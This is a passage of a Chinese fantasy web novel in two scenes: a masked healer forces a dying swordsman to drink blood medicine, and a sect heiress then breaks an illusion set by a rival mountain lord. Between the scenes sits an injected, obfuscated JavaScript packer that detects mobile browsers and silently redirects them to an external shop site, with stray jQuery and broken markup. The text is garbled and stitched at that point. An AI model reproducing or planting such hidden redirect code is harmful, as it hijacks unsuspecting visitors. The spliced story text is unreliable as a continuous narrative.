“你命不久矣,你可知?”
梦夜时语气像是在劝,但他又不明白,她为何要救他?
“当然……”魏玄干脆道,以他现在这副模样,自是命不久矣。
“那就喝了它。”
说完,梦夜时把灯一放,后把碗怼到魏玄嘴边,全程面无表情。
又是一阵腥味袭来,魏玄忍不住呛咳,他一生最讨厌的便是腥味。
“咳咳……咳……”
“喝了它,否则我杀了你。”梦夜时语气决绝,无情地看着他。
魏玄将头一偏:“我不怕死。”
他这一生的亲人都在离去,他也没什么好怕的。
梦夜时时间很多,不介意与他较真:“不怕死,那世上可还有你怕的?”她不信世上有不怕死之人。
魏玄吊着一口气,为了不喝那碗血,他也是拼了命的说:“血簪。魔主的……咳咳……遗物。”
“一件器物,何必惧怕?”
“你不懂……”魏玄强忍难受:“我的家人……朋友的家人都因血簪而死……咳咳。”
话落,他又呕出一大口鲜血。
深红的血将衣袍染色,好是狼狈的模样。
梦夜时依旧不冷不热地问:“那还不是怕死?”
“你不懂……”魏玄来不及道完,心口一阵刺痛。
江湖人士,唯轻生死。早年间,他本可拥有美满,父亲与哥哥都是江湖杀手榜上响当当的人物,为百姓除恶,那是家常便饭。
他武功也不赖,只是某天,有“怪物”杀了过来。
怪物面如常人,非妖非灵非兽,下手却极其狠戾。一掌黑雾打过来,仅凭刀剑,只有等死的份。
他依稀记得那日,父亲与哥哥冲在前,而后回来的,只剩两具冷冰冰的尸体。
魏玄也难逃重创,他握紧手中的短刃,却是无用之功,两具尸首死不瞑目,他又怎么能在怪物手中活下来?
危急关头,一把银剑破风而入,径直刺穿怪物心口,直到那怪物落得个随风消散。他瞧银剑上还闪着细微白光,思来想去,想不出是江湖上哪位大神。
兜兜转转,银剑回到少年手中。少年青衣执剑,墨发高束,玉树临风。
魏玄蜷缩在角落,他问他——“大,大大侠,敢问……大侠姓名。”
少年只回三个字——“裴承砚。”
自那之后,他无处可去,干脆就跟着这位“大侠”。他说他叫裴承砚,从江南宁州城一路逃到江州城。他还说,世上出了个叫“血簪”的东西,血簪中的魔气可以把执念深重的死者幻化成“精怪”。
所以魏玄遇到的那个“怪物”,是神魂、灵力失控的精怪。
妖怪与精怪不同,妖怪的妖法向来只有一套,与妖抗衡施个法阵即可;而精怪要施展法术,怎么施法,取决于这个精怪是由什么器物所变。
他犹记当年裴承砚对他说——“举个例子,当器物是伞时,血簪就可以把执念深重的游魂覆到伞上,再用魔气帮助精怪化形,而化形后的精怪,能力便是借伞杀人。”
魏玄点点头,心口不一道——“明白了,裴兄!”实则他一点也没听懂。
虽然魏玄心中奇怪,裴承砚称自己是捉妖师,但他又能杀死精怪,捉妖用的阵法与猎精用的奇术他是一样不缺。
但魏玄也不敢多问,裴承砚这个人安安静静的,与他截然相反,他怕他问得多了,裴承砚哪天就把他丢了。
往后,他跟着裴承砚有模有样学了套捉妖法术,好让后生还能靠捉妖混口饭吃。
两人就在江湖上漂泊两三年,途中还稀里糊涂拜了个盲眼师父。
他也是从拜师后才知,裴承砚生自百年捉妖世家,家族亲戚都被血簪所害,他死里逃生,记忆还丢了不少。
三年后,师父病去。也不知师父临终前单独对裴承砚说了什么,只知裴承砚神色黯淡从师父房中走出。
魏玄看着他,自己欲言又止。
——“往后不用跟着我了,我要去上京。”
——“为什么啊裴兄?”
魏玄十万个不解。
——“血簪……在灵妖宗。”
——“什么?!”
这个惊天秘密终被捅破,最后还是魏玄死缠烂打,裴承砚无奈之下才带上了他。
两人几番周折跑去上京,又是捉妖又是猎精,在那个谭府对少宗主百般顺从,夺取信任才进的灵妖宗。不曾想进宗门后,不是训练就是训练,根本没时间调查灵妖宗内部。
好不容易出来一回,却还要寻什么谢闻笛,再因重创吐个血,遭一大劫。如今魏玄思绪万千,嘴上却蹦不出一个字。
“不懂什么?”梦夜时刨根问底道。
“不想说……会死吗?”魏玄拉回思绪,回她。
梦夜时确实没想到他会这么说,她一愣,后又道:“不会。”
“那我不想说。”少年倔强着。
“那就喝了它。”说着,梦夜时又把药碗怼到他嘴边。这是他非喝不可的意思。
“我这条烂命,不用你救。”
“命,不是你说一个‘烂’字就能被定义的。”
听闻,魏玄不禁抬起头,他有那么一瞬,尽想看清她。
看清眼前这个说话毫无情绪,却字字勾人思绪的女子。
他对上了“青面獠牙”,一时,他竟没有丝毫害怕,反倒有些敬畏。
“喝了它。”梦夜时见此,便趁热打铁。
“……”
看来是躲不过这一遭了,魏玄一鼓作气,干脆一仰头,拼了!
“满意了吗?”魏玄忍着血腥带来的难受,问。
“满意。”
梦夜时点头,她放下空碗,转身要走。
“你等等!”魏玄叫住她:“你还没告诉我……你是这山里什么人。”
梦夜时脚步自然停住,她回眸,淡淡张口:
“梦夜时、医者、名医、神医,还有……”
“山主。”
……
一座山中怎么可能有两个山主。
“你这个山主才是假的吧?仅凭一只断手就猜上凶手了,人死没死都不一定,你就这么急着下定论?”
“就是啊!我们要见昨日的山主!”
那些信徒并没有被宋秋池带偏,解思弦看着笑而不语,这些信徒倒还算聪明。
“人流这么多血,不死也得死了。”只有宋秋池还坚持着自我。
“盖棺定论前,尸首总要找到,不是吗?”解思弦闲散道,对于这个莫名冒出来的新“山主”,她自是不信。
“你要是把尸首找到,再明晃晃搬到我们面前,那我们自然会服你,可你现在一无人证,二无物证,我们又如何信你?”</
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17867958|209206||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
p>
一来不见尸首,二来不见凶器。
宋秋池一时无话可说,他只是原地笑了笑。
就在此刻,一具无头尸在木屋中“从天而降”,重重打在地上,溅起不小血花,那只断手也在瞬间被震出数丈。
解思弦就站在木屋门外自是看得清楚,她本能后退几步,却还是难逃血花溅上脸。
她明显感受到脸上一凉。
“是尸体!头也没了!真的是山鬼吃人啊!”
周围响起一片惊叫。徐文礼已经原地吓晕过去,还有几名信徒实在受不了这诡谲之地,急着跑出这片是非之地。
一个接着一个,跟下饺子无异。近有大半人都逃了出去,随后就没有声音。
“他们都回不来了,他们都死了。”宋秋池平静地环顾四周。
松栖山中雾大,他们都不知道,在白雾笼罩之下,自己会闯入沼泽,还是掉入山崖,不管选哪个都难逃一死。
解思弦不理解:“是你在装神弄鬼?”
宋秋池耸肩:“想来你也知道痴雾草是凶草,而这便是痴雾草为你量身打造的幻境。”
“你说是吗,灵妖宗少宗主?”
他边说,边提了提手中的灯。
顷刻之间,解思弦心口一阵刺疼。
她低头望去,一把冒着白光的银剑正从她的身后穿心而过。
这把银剑是裴承砚的,解思弦眉头微蹙。
“我不是灵妖宗少宗主,我只是一介民女,你这是诬陷。”解思弦一口咬死自己和灵妖宗没关系,她又看了一眼自己心口,继续道:“还有误伤。”
“诬陷?误伤?”宋秋池像听了天大笑话,只见他空手变出一张书契,“铁证如山啊,少宗主。”
书契一路飞至解思弦眼前,白纸黑字清楚写着:
“十一月三十开山,会有灵妖宗人员,及少宗主在内混入松栖山。”
“少宗主可还有要诉的?”
解思弦见此物,神情凝重。
宋秋池见状,便继续道:
“我就是这松栖山的山主,你为何就不信我呢?”
“被刺的滋味不好受吧?我也奇怪,那么多个信徒入山,怎么就你没有执念?”
解思弦回过神,抬眼看向他:“那还真是劳烦你如此大费周章给我打造一个幻境。”
宋秋池:“你是灵妖宗的人,杀死灵妖宗的人对松栖山的人来说就不算劳烦。”
他话说完,便又提了一次灯。
一刹那,银剑又深入解思弦心口一寸。
解思弦全程看着,她轻叹一口气:“你以为杀死一个灵妖宗的人是简单事吗?”
她没有口吐鲜血,反倒是心平气和地站着同他谈话。
随即,她抬起右手,打了个响指。
银剑一秒从她的心口抽离出去,她连眼睛都没眨一下。
不仅眼睛没眨一下,就连血都未从心口流出一滴。
在此之后,她转身望去,只是一个弹指,“裴承砚”就在她面前破散,不留半点痕迹。
“你?”宋秋池难以置信。
“我什么我?我也只是刚刚才发现他是假的而已。”解思弦语气无辜,转而她又阴险道:“我管你怎么发现我是灵妖宗的人,我管你是不是山中山主,管你是不是真实存在的人。”
“而现在,该换我杀你了。”